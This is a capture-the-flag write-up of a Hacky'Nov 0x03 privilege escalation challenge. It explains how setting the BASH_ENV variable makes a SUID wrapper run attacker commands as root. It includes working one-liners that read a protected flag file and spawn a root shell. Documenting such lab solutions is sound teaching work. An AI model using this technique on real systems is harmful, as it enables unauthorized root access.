../

/Cybersecurity/ /Hacky'Nov 0x03/ /PrivEsc/

HN0x03 | Escalade comme un Yamakasi - EvilGate

HN0x03 | Escalade comme un Yamakasi - EvilGate

This challenge is a part of the Hacky’Nov 0x03 CTF.

Goal

Bypass the shell script to get root access.

Walkthrough

We are given a shell script /server/script.sh:

#!/bin/bash
/bin/whoami
if [ 1 -eq 1 ]; then
    /bin/echo "By pass me to be root"
    exit 666
fi

if [ 1 -ne 0 ]; then
    /bin/echo "By pass me to be root"
    exit 666
fi

if [ -n "A" ]; then
    /bin/echo "By pass me to be root"
    exit 666
fi

if [ 0 -eq 0 ]; then
    /bin/echo "By pass me to be root"
    exit 666
fi

if [ "x" == "x" ]; then
    /bin/echo "By pass me to be root"
    exit 666
fi

if (( 5 > 4 )); then
    /bin/echo "By pass me to be root"
    exit 666
fi

if [[ "yes" != "no" ]]; then
    /bin/echo "By pass me to be root"
    exit 666
fi

if [ -z "" -o -n "non-empty" ]; then
    /bin/echo "Ouch...."

    exit 666
fi

if [ $(/bin/echo "1") -eq 1 ]; then
    /bin/echo "Please stop it"
    exit 666
fi

if [ true ]; then
    /bin/echo "the last but the worst :("
    exit 666
fi

/bin/echo "Waw.. Welcom root :)"

That we can execute as root through the suid binary /server/execasroot.

I definitely “cheated” for this one (the organizers basically told us how to solve it), so I will detail my attempts and then explain the (one-line) solution.

Failed attempts

First thing to note is that we cannot try to bypass the binaries executed by the script, as they are called with their full path, we cannot create a fake binary with the same name and edit the PATH variable to execute it instead.

We can however override [ but since it is a builtin, we would have to find a way to undefine it, which it seems is not possible.

Anyway, even if I could do that, I would have been stuck to the (( 5 > 4 )) test, that’s where I gave up trying to bypass the script and instead tried to find a way to execute something else.

I obviously tried to edit the bash profile, the bashrc, but they were not sourced by the script, this is where I failed to properly read the bash manual and missed the very important environment variable BASH_ENV.

Solution

The BASH_ENV environment variable is used to define a startup file to be read when invoking an non interactive shell (whereas bash profile is invoked for interactive login shells and bashrc for interactive non-login shells).

Once we’ve done that, the solution is trivial:

user@f5e7ac36f856:/server$ echo "cat /server/flag.txt" > /tmp/nhqml.sh; BASH_ENV=/tmp/nhqml.sh ./execasroot
HNx03{Hack_the_planet_hack_the_ENVironment}root
By pass me to be root

Of course you can also spawn a shell with this method:

user@f5e7ac36f856:/server$ echo "/bin/bash" > /tmp/nhqml.sh; BASH_ENV=/tmp/nhqml.sh ./execasroot
root@f5e7ac36f856:/server# id
uid=0(root) gid=996(user) groups=996(user)